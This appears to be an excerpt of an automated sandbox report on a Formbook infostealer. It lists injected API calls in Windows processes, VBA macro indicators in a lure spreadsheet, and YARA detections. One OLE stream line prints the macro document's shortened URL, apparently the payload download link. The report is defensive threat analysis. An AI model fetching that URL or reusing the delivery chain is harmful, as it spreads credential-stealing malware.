Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 27_2_021E01D4 NtSetValueKey,	27_2_021E01D4
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 27_2_021DFA20 NtQueryInformationFile,	27_2_021DFA20
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 27_2_021DFA50 NtEnumerateValueKey,	27_2_021DFA50
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 27_2_021DFBE8 NtQueryVirtualMemory,	27_2_021DFBE8
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 27_2_021DF8CC NtWaitForSingleObject,	27_2_021DF8CC
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 27_2_021DF938 NtWriteFile,	27_2_021DF938
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 27_2_021E1930 NtSetContextThread,	27_2_021E1930
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 27_2_021DFE24 NtWriteVirtualMemory,	27_2_021DFE24
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 27_2_021DFEA0 NtReadVirtualMemory,	27_2_021DFEA0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 27_2_021DFF34 NtQueueApcThread,	27_2_021DFF34
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 27_2_021DFFFC NtCreateProcessEx,	27_2_021DFFFC
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 27_2_021DFC30 NtOpenProcess,	27_2_021DFC30
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 27_2_021DFC48 NtSetInformationFile,	27_2_021DFC48
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 27_2_021E0C40 NtGetContextThread,	27_2_021E0C40
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 27_2_021DFC90 NtUnmapViewOfSection,	27_2_021DFC90
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 27_2_021DFD5C NtEnumerateKey,	27_2_021DFD5C
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 27_2_021E1D80 NtSuspendThread,	27_2_021E1D80
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 27_2_0009A330 NtCreateFile,	27_2_0009A330
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 27_2_0009A3E0 NtReadFile,	27_2_0009A3E0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 27_2_0009A460 NtClose,	27_2_0009A460
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 27_2_0009A510 NtAllocateVirtualMemory,	27_2_0009A510
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 27_2_0009A50A NtAllocateVirtualMemory,	27_2_0009A50A

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Code function: 17_2_002504BC	17_2_002504BC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Code function: 17_2_002594EF	17_2_002594EF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Code function: 17_2_002548A8	17_2_002548A8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Code function: 17_2_0025C0F8	17_2_0025C0F8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Code function: 17_2_00251168	17_2_00251168
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Code function: 17_2_002551D8	17_2_002551D8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Code function: 17_2_0025D288	17_2_0025D288
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Code function: 17_2_0025C530	17_2_0025C530
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Code function: 17_2_0025C959	17_2_0025C959
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Code function: 17_2_00257A70	17_2_00257A70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Code function: 17_2_00253C78	17_2_00253C78
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Code function: 17_2_0025CDA0	17_2_0025CDA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Code function: 22_2_009FE0C6	22_2_009FE0C6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Code function: 22_2_009FE2E9	22_2_009FE2E9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Code function: 22_2_00AA63BF	22_2_00AA63BF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Code function: 22_2_00A263DB	22_2_00A263DB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Code function: 22_2_00A02305	22_2_00A02305
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Code function: 22_2_00A4A37B	22_2_00A4A37B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Code function: 22_2_00A8443E	22_2_00A8443E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Code function: 22_2_00A805E3	22_2_00A805E3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Code function: 22_2_00A1C5F0	22_2_00A1C5F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Code function: 22_2_00A46540	22_2_00A46540
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Code function: 22_2_00A04680	22_2_00A04680
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Code function: 22_2_00A0E6C1	22_2_00A0E6C1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Code function: 22_2_00AA2622	22_2_00AA2622
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Code function: 22_2_00A4A634	22_2_00A4A634
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Code function: 22_2_00A0C7BC	22_2_00A0C7BC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Code function: 22_2_00A2286D	22_2_00A2286D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Code function: 22_2_00A0C85C	22_2_00A0C85C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Code function: 22_2_00A029B2	22_2_00A029B2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Code function: 22_2_00AA098E	22_2_00AA098E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Code function: 22_2_00A949F5	22_2_00A949F5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Code function: 22_2_00A169FE	22_2_00A169FE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Code function: 22_2_00A4C920	22_2_00A4C920
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Code function: 22_2_00AACBA4	22_2_00AACBA4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Code function: 22_2_00A86BCB	22_2_00A86BCB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Code function: 22_2_00AA2C9C	22_2_00AA2C9C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Code function: 22_2_00A8AC5E	22_2_00A8AC5E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Code function: 22_2_00A30D3B	22_2_00A30D3B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Code function: 22_2_00A0CD5B	22_2_00A0CD5B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Code function: 22_2_00A32E2F	22_2_00A32E2F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Code function: 22_2_00A1EE4C	22_2_00A1EE4C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Code function: 22_2_00A9CFB1	22_2_00A9CFB1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Code function: 22_2_00A72FDC	22_2_00A72FDC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Code function: 22_2_00A10F3F	22_2_00A10F3F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Code function: 22_2_00A2D005	22_2_00A2D005
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Code function: 22_2_00A7D06D	22_2_00A7D06D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Code function: 22_2_00A03040	22_2_00A03040
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Code function: 22_2_00A1905A	22_2_00A1905A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Code function: 22_2_00A8D13F	22_2_00A8D13F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Code function: 22_2_00AA1238	22_2_00AA1238
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Code function: 22_2_009FF3CF	22_2_009FF3CF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Code function: 22_2_00A07353	22_2_00A07353
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Code function: 22_2_00A35485	22_2_00A35485
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Code function: 22_2_00A11489	22_2_00A11489
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Code function: 22_2_00A3D47D	22_2_00A3D47D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Code function: 22_2_00AA35DA	22_2_00AA35DA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Code function: 22_2_00A0351F	22_2_00A0351F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Code function: 22_2_00A8579A	22_2_00A8579A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Code function: 22_2_00A357C3	22_2_00A357C3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Code function: 22_2_00A9771D	22_2_00A9771D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Code function: 22_2_00A9F8EE	22_2_00A9F8EE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Code function: 22_2_00A7F8C4	22_2_00A7F8C4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Code function: 22_2_00A8394B	22_2_00A8394B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Code function: 22_2_00A85955	22_2_00A85955
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Code function: 22_2_00AB3A83	22_2_00AB3A83
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Code function: 22_2_009FFBD7	22_2_009FFBD7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Code function: 22_2_00A8DBDA	22_2_00A8DBDA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Code function: 22_2_00A27B00	22_2_00A27B00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Code function: 22_2_00A9FDDD	22_2_00A9FDDD
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Code function: 22_2_00A8BF14	22_2_00A8BF14
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Code function: 22_2_00A2DF7C	22_2_00A2DF7C
Source: C:\Windows\explorer.exe	Code function: 23_2_02825232	23_2_02825232
Source: C:\Windows\explorer.exe	Code function: 23_2_0281FB30	23_2_0281FB30
Source: C:\Windows\explorer.exe	Code function: 23_2_0281FB32	23_2_0281FB32
Source: C:\Windows\explorer.exe	Code function: 23_2_0281B082	23_2_0281B082
Source: C:\Windows\explorer.exe	Code function: 23_2_02824036	23_2_02824036
Source: C:\Windows\explorer.exe	Code function: 23_2_028285CD	23_2_028285CD
Source: C:\Windows\explorer.exe	Code function: 23_2_0281CD02	23_2_0281CD02
Source: C:\Windows\explorer.exe	Code function: 23_2_02822912	23_2_02822912
Source: C:\Windows\explorer.exe	Code function: 23_2_05FC55CD	23_2_05FC55CD
Source: C:\Windows\explorer.exe	Code function: 23_2_05FBF912	23_2_05FBF912
Source: C:\Windows\explorer.exe	Code function: 23_2_05FB9D02	23_2_05FB9D02
Source: C:\Windows\explorer.exe	Code function: 23_2_05FB8082	23_2_05FB8082
Source: C:\Windows\explorer.exe	Code function: 23_2_05FC1036	23_2_05FC1036
Source: C:\Windows\explorer.exe	Code function: 23_2_05FBCB32	23_2_05FBCB32
Source: C:\Windows\explorer.exe	Code function: 23_2_05FBCB30	23_2_05FBCB30
Source: C:\Windows\explorer.exe	Code function: 23_2_05FC2232	23_2_05FC2232
Source: C:\Windows\explorer.exe	Code function: 23_2_0610B232	23_2_0610B232
Source: C:\Windows\explorer.exe	Code function: 23_2_0610A036	23_2_0610A036
Source: C:\Windows\explorer.exe	Code function: 23_2_06101082	23_2_06101082
Source: C:\Windows\explorer.exe	Code function: 23_2_06108912	23_2_06108912
Source: C:\Windows\explorer.exe	Code function: 23_2_06102D02	23_2_06102D02
Source: C:\Windows\explorer.exe	Code function: 23_2_06105B30	23_2_06105B30
Source: C:\Windows\explorer.exe	Code function: 23_2_06105B32	23_2_06105B32
Source: C:\Windows\explorer.exe	Code function: 23_2_0610E5CD	23_2_0610E5CD
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 27_2_0091884E	27_2_0091884E
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 27_2_008EC869	27_2_008EC869
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 27_2_00934908	27_2_00934908
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 27_2_008E2152	27_2_008E2152
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 27_2_0090DA85	27_2_0090DA85
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 27_2_0090E2AE	27_2_0090E2AE
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 27_2_00929506	27_2_00929506
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 27_2_00908741	27_2_00908741
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 27_2_02291238	27_2_02291238
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 27_2_021EE2E9	27_2_021EE2E9
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 27_2_021F2305	27_2_021F2305
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 27_2_021F7353	27_2_021F7353
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 27_2_0223A37B	27_2_0223A37B
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 27_2_022963BF	27_2_022963BF
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 27_2_021EF3CF	27_2_021EF3CF
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 27_2_022163DB	27_2_022163DB
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 27_2_0221D005	27_2_0221D005
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 27_2_0226D06D	27_2_0226D06D
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 27_2_021F3040	27_2_021F3040
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 27_2_0220905A	27_2_0220905A
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 27_2_021EE0C6	27_2_021EE0C6
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 27_2_0227D13F	27_2_0227D13F
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 27_2_02292622	27_2_02292622
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 27_2_0223A634	27_2_0223A634
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 27_2_021F4680	27_2_021F4680
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 27_2_021FE6C1	27_2_021FE6C1
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 27_2_0228771D	27_2_0228771D
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 27_2_021FC7BC	27_2_021FC7BC
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 27_2_0227579A	27_2_0227579A
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 27_2_022257C3	27_2_022257C3
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 27_2_0227443E	27_2_0227443E
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 27_2_0222D47D	27_2_0222D47D
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 27_2_02225485	27_2_02225485
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 27_2_02201489	27_2_02201489
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 27_2_021F351F	27_2_021F351F
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 27_2_02236540	27_2_02236540
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 27_2_022705E3	27_2_022705E3
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 27_2_0220C5F0	27_2_0220C5F0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 27_2_022935DA	27_2_022935DA
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 27_2_022A3A83	27_2_022A3A83
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 27_2_02217B00	27_2_02217B00
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 27_2_0229CBA4	27_2_0229CBA4
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 27_2_021EFBD7	27_2_021EFBD7
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 27_2_02276BCB	27_2_02276BCB
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 27_2_0227DBDA	27_2_0227DBDA
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 27_2_021FC85C	27_2_021FC85C
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 27_2_0221286D	27_2_0221286D
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 27_2_0228F8EE	27_2_0228F8EE
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 27_2_0226F8C4	27_2_0226F8C4
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 27_2_0223C920	27_2_0223C920
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 27_2_0227394B	27_2_0227394B
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 27_2_02275955	27_2_02275955
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 27_2_0229098E	27_2_0229098E
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 27_2_021F29B2	27_2_021F29B2
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 27_2_022849F5	27_2_022849F5
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 27_2_022069FE	27_2_022069FE
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 27_2_02222E2F	27_2_02222E2F
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 27_2_0220EE4C	27_2_0220EE4C
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 27_2_02200F3F	27_2_02200F3F
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 27_2_0227BF14	27_2_0227BF14
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 27_2_0221DF7C	27_2_0221DF7C
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 27_2_0228CFB1	27_2_0228CFB1
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 27_2_02262FDC	27_2_02262FDC
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 27_2_0227AC5E	27_2_0227AC5E
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 27_2_02292C9C	27_2_02292C9C
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 27_2_02220D3B	27_2_02220D3B
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 27_2_021FCD5B	27_2_021FCD5B
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 27_2_0228FDDD	27_2_0228FDDD
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 27_2_0009E5FA	27_2_0009E5FA

Source: PO.78NO9.xls	OLE indicator, VBA macros: true
Source: tmpB50D.tmp.17.dr	OLE indicator, VBA macros: true

Source: PO.78NO9.xls

Stream path 'MBD008EDE53/\x1Ole' : https://m2g.me/a080Pit1!6E&`)o+fOh%;mj_.MLqr5/|P]OTX1I%(`>)>BX:aTEKzMVWH1E5LnNyCTZOKCR4gXGSPwAk5Ik680AmQaH1DIcL7DuD03UG6NujfTyTbtLSN1xOl3MpLXj0YOPGd7pSSLdhzgrzoI8UEaN7qwoGLsYr65ptx8lokRphZeo9DmUmfmWYym1C6NGRAZtjzKDRiqrOtFTYBXfBtByFIJO6chqWyFS07iPFmw8vi2wrmCzAFA?~^z_mv`>?U%

Source: ~WRF{71025B50-9EA6-4B02-92C0-2B9E7555DC6C}.tmp.4.dr	OLE stream indicators for Word, Excel, PowerPoint, and Visio: all false
Source: tmpB50D.tmp.17.dr	OLE stream indicators for Word, Excel, PowerPoint, and Visio: all false

Source: C:\Windows\SysWOW64\mstsc.exe	Code function: String function: 00934E47 appears 128 times
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: String function: 02233F92 appears 132 times
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: String function: 0223373B appears 253 times
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: String function: 0225F970 appears 84 times
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: String function: 021EE2A8 appears 60 times
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: String function: 008E1040 appears 587 times
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: String function: 021EDF5C appears 130 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Code function: String function: 00A6F970 appears 84 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Code function: String function: 00A43F92 appears 132 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Code function: String function: 00A4373B appears 253 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Code function: String function: 009FE2A8 appears 60 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Code function: String function: 009FDF5C appears 137 times

Source: 0000001B.00000002.637430242.0000000000080000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 0000001B.00000002.637430242.0000000000080000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 0000001B.00000002.637430242.0000000000080000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 0000001B.00000002.637544486.0000000000310000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 0000001B.00000002.637544486.0000000000310000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 0000001B.00000002.637544486.0000000000310000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000016.00000002.511155982.0000000000330000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000016.00000002.511155982.0000000000330000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000016.00000002.511155982.0000000000330000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 0000001B.00000002.637518852.00000000002E0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 0000001B.00000002.637518852.00000000002E0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 0000001B.00000002.637518852.00000000002E0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000017.00000002.638758536.0000000006123000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_772cc62d os = windows, severity = x86, creation_date = 2022-05-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8343b5d02d74791ba2d5d52d19a759f761de2b5470d935000bc27ea6c0633f5, id = 772cc62d-345c-42d8-97ab-f67e447ddca4, last_modified = 2022-07-18
